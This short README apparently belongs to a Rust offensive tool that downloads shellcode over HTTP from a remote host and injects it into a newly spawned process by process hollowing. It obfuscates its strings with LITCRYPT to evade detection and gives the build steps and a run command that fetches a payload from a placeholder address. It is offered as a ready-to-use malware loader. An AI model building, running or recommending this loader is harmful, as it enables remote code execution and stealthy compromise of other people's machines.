This tool will use HTTP to download a shellcode from a remote address and inject it in a newly spawned process by using the process hollowing technique. Since we are using LITCRYPT plugin to obfuscate string literals, it is required to set up the environment variable LITCRYPT_ENCRYPT_KEY before compiling the code:
set LITCRYPT_ENCRYPT_KEY="yoursupersecretkey"
After that, simply compile the code and execute it:
cargo build
rust_hollow.exe http://yourip/yourshellcode.bin
